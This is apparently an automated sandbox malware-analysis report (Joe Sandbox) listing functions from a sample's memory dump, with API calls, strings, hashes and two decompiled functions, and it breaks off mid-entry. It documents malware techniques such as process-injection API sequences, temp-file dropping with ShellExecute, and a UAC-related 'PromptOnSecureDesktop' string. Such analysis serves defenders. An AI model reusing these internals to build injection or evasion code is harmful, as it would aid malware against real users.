Instruction ID: b041672dd01d61afa34590b0c55bc8eee905f37a1e4f2f3444538d5d0b3bb805
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: FE21B07194022ABBCB229B54DC44EEFBBBEEF18B50F508121F805E7600D7B09E8687D4

Uniqueness

Uniqueness Score: -1.00%

Function 00646F19, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\ribsjbzf,0064702C), ref: 00646F37
GetProcAddress.KERNEL32(00000000), ref: 00646F3E
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00646F64
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00646F7B

Strings

C:\Windows\SysWOW64\, xrefs: 00646F19, 00646F21, 00646F4E, 00646F55, 00646F63, 00646F6E, 00646F7A, 00646F92, 00646FAF, 00646FD5
PromptOnSecureDesktop, xrefs: 00646F86, 00646FA8, 00646FB8, 00646FCE, 00646FDE
\\.\pipe\ribsjbzf, xrefs: 00646F20

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$PromptOnSecureDesktop$\\.\pipe\ribsjbzf
API String ID: 1082366364-4127186941
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: 474523b7e798ab5fe693f54443335c9f13f574d2ad6413ce4f6e33565774da38
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: 0C2129617413407AF7615731EC89FFB2E4F8B53710F184065F544E6291CBD9889A82AE

Uniqueness

Uniqueness Score: -1.00%

Function 006492B4, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 006492CB
wsprintfA.USER32 ref: 00649339
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0064935E
lstrlen.KERNEL32(?,?,00000000), ref: 00649372
WriteFile.KERNEL32(00000000,?,00000000), ref: 0064937D
CloseHandle.KERNEL32(00000000), ref: 00649384

Strings

PromptOnSecureDesktop, xrefs: 00649314, 0064932C, 00649347

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: 87cb42795953d3f6ce9ed4e084148459a65604071351b31f7350c4ea3944792b
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: B311DAB2A40114BBE7646735EC0AFEF3A6FDBC5B00F00C079B709E5091EEB44E458668

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 006499CC, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00649A01
GetThreadContext.KERNEL32(?,?), ref: 00649A3B
TerminateProcess.KERNEL32(?,00000000), ref: 00649A49
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00649A81
SetThreadContext.KERNEL32(?,00010002), ref: 00649A9E
ResumeThread.KERNEL32(?), ref: 00649AAB

Strings

D, xrefs: 006499F9

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: 2366576bd62b3b28c1f7a278e56980359ca85dc7f9c821c56f21e4c0e5209bbd
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: 9A217CB1D41119BBDB11DBA1DC09EEF7FBDEF05750F004060BA09E2150EB718A84CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00641BEC, Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 00641C01
LoadLibraryA.KERNEL32(004102C8), ref: 00641C0F
GetProcessHeap.KERNEL32 ref: 00641C6D
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 00641C86
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 00641CAA
HeapFree.KERNEL32(?,00000000,00000000), ref: 00641CEB
FreeLibrary.KERNEL32(?), ref: 00641CF4

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: ca62624dd0379b0438f31757f85a82d6d6cf8ab78fef9e558a26f0154c32afbb
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: 35315B72E40219AFCB119FE4DD888EEBFBAEF46305B24447AE501AA210D7B54EC0DB54

Uniqueness

Uniqueness Score: -1.00%

Function 0064C52C, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 182threadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0064C69D
InterlockedIncrement.KERNEL32(0064C734), ref: 0064C6FE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0064C730), ref: 0064C711
CloseHandle.KERNEL32(00000000,?,0064C730,00413588,00648A60), ref: 0064C71C

Strings

0t, xrefs: 0064C545, 0064C69D
localcfg, xrefs: 0064C52D

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: 0t$localcfg
API String ID: 1026198776-1645711936
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: 2f73c1fffb7a0051a2b36922ae34f61ef627ada4bed01f3005612705bfda08be
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: F8516BB1A01B418FC7A49F69C9D452ABBEAFB48310B51993EE18BC7B90D774F840CB14

Uniqueness

Uniqueness Score: -1.00%

Function 0042BDD7, Relevance: 10.6, APIs: 7, Instructions: 138COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437638
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043766B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004376DF

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 20adb6928b20449ab57bb2bc031bee64fc5fc89f39f4ec5f6c699768e4a5b995
Instruction ID: 8c9faa530a3f5011d199bc0545f96105667f5ea9b61a5d4707a1e53648f22f87
Opcode Fuzzy Hash: 20adb6928b20449ab57bb2bc031bee64fc5fc89f39f4ec5f6c699768e4a5b995
Instruction Fuzzy Hash: 9D512670904108DFCB14DF98C8A4BEEBBB1FF48314F20959AE4626B291D7396E41DF99

Uniqueness

Uniqueness Score: -1.00%

Function 00646CB0, Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00646CCD
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 00646D0B
GetLastError.KERNEL32 ref: 00646D90
CloseHandle.KERNEL32(?), ref: 00646D9E
GetLastError.KERNEL32 ref: 00646DBF
DeleteFileA.KERNEL32(?), ref: 00646DD0
GetLastError.KERNEL32 ref: 00646DE6

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: c2e3f176af5bd8299240b1bf7dd2fd426e0b5e5b434b6814b7f95f752215c20d
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: AD31EE72E00249BFCB11AFA4DD45ADE7F7AFF4A310F14806AF252E3251D6704A858B66

Uniqueness

Uniqueness Score: -1.00%

Function 00429AB0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 105windowCOMMON

Download Yara Rule

APIs

__invoke_watson_if_oneof.LIBCMTD ref: 00429BAE
_wcscpy_s.LIBCMTD ref: 00429BF0
__invoke_watson_if_error.LIBCMTD ref: 00429BF9
___crtMessageBoxW.LIBCMTD ref: 00429C12
_raise.LIBCMTD ref: 00429C2B

Strings

Ph8S@, xrefs: 00429B64

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof_raise_wcscpy_s
String ID: Ph8S@
API String ID: 908537515-3448839189
Opcode ID: 5cc9284ce16ccb3206412ac6ceddb373a8c02e67a4de6e24e554cd987979dad6
Instruction ID: bf6a27d526e53523173e52e8bda1f38109dc3f567251e29c0f13ba240eb5f81e
Opcode Fuzzy Hash: 5cc9284ce16ccb3206412ac6ceddb373a8c02e67a4de6e24e554cd987979dad6
Instruction Fuzzy Hash: 03414674B40228ABCB28DB55EC46FDAB3B4AB48704F5040EEF609762C5D6785E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435227, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435288
__aullrem.LIBCMT ref: 00435455
__aulldiv.LIBCMT ref: 00435477

Strings

0, xrefs: 00435243
9, xrefs: 00435488
', xrefs: 00435227

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction ID: 31c7f737ef9b8f54758ea72e0ed1a8d182902dd067bdea07b3d88a86eb70709e
Opcode Fuzzy Hash: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction Fuzzy Hash: 9D4105B1D05628CFDB24CF48C889BAEB7B5FB58304F2491DAD409A7240C7785E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427FB8, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00428019
__aullrem.LIBCMT ref: 004281E6
__aulldiv.LIBCMT ref: 00428208

Strings

', xrefs: 00427FB8
0, xrefs: 00427FD4
9, xrefs: 00428219

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction ID: 34bf2b2c10ef932f0941ca2222bb97aac1aa451afe069579d7194fdbe4dc4051
Opcode Fuzzy Hash: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction Fuzzy Hash: CC411471E06229CFDB64CF48ED89BAEB7B5BB44300F5481DAD009A7245CB389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00649395, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 006493AF
GetModuleFileNameA.KERNEL32(00000000), ref: 006493B6
CharToOemA.USER32(?,?), ref: 006493C4
wsprintfA.USER32 ref: 006493F9

Part of subcall function 006492B4: GetTempPathA.KERNEL32(00000400,?), ref: 006492CB
Part of subcall function 006492B4: wsprintfA.USER32 ref: 00649339
Part of subcall function 006492B4: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0064935E
Part of subcall function 006492B4: lstrlen.KERNEL32(?,?,00000000), ref: 00649372
Part of subcall function 006492B4: WriteFile.KERNEL32(00000000,?,00000000), ref: 0064937D
Part of subcall function 006492B4: CloseHandle.KERNEL32(00000000), ref: 00649384

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00649431

Strings

PromptOnSecureDesktop, xrefs: 006493E3, 006493E8, 00649405

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: a2086c7ec77cdeefdd0cdce581b588d73c97d64099158433d60f4ab8e640fe95
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: EC0192F69401187BD760A7619D89FDF377CDB85701F0000A5BB49E2080DAB497C58F75

Uniqueness

Uniqueness Score: -1.00%

Function 0064AA11, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 0064AACE

Strings

, xrefs: 0064AB9C
localcfg, xrefs: 0064AD5B

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: 5b1ca8347fb4710b10fbc84c82eb0f060cd8145363fc3b1e5c1f0e286dda38da
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: FC712872EC4305BAEF618BD8DC85FEE776BEF00705F24402AF905A6291DA618DC5871B

Uniqueness

Uniqueness Score: -1.00%

Function 0064E8A4, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064DF55: GetCurrentThreadId.KERNEL32 ref: 0064DFA3

lstrcmp.KERNEL32(00410178,00000000), ref: 0064E8E3
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,00646111), ref: 0064E939
lstrcmp.KERNEL32(?,00000008), ref: 0064E972

Strings

A, xrefs: 0064E949, 0064E94E
A, xrefs: 0064E989
A, xrefs: 0064E8AF, 0064E8B6, 0064E91F, 0064E981

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: ff68c14a8fe365d03035d8c3c385083dd612af2379d99af83bcfe506dd694ad8
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction Fuzzy Hash: B931CA32A04705DFCFB18F25C884BA67BE6BB05320F10852EE65587691E772E884CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00646DF7, Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 00646E02

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: 7b8a715bd5535f98025a567943b16b31e81fbe2114e14484881861e3ac63a3c0
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: DD218176108215FFDB10ABA0FC49EDF7EEEEB4A760B208025F502D1061EB718A409679

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,74E043E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74E043E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74E043E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,74E043E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,74E043E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNEL32(000000FF,?,00000040,00408244,00000000,?,74E043E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNEL32(000000FF,?,000000F8,?,00000000,?,74E043E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 00435214, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435288
__aullrem.LIBCMT ref: 00435455
__aulldiv.LIBCMT ref: 00435477

Strings

0, xrefs: 00435243
9, xrefs: 00435488

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction ID: 1355a5cfd7acaf6b141fa9098043a54d536438e404106c5659f8e841147aafaf
Opcode Fuzzy Hash: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction Fuzzy Hash: C74104B1D15A28DFDB24CF48C889BAEBBB5FB58304F2491DAE409A7240C7785E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427FA5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00428019
__aullrem.LIBCMT ref: 004281E6
__aulldiv.LIBCMT ref: 00428208

Strings

0, xrefs: 00427FD4
9, xrefs: 00428219

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
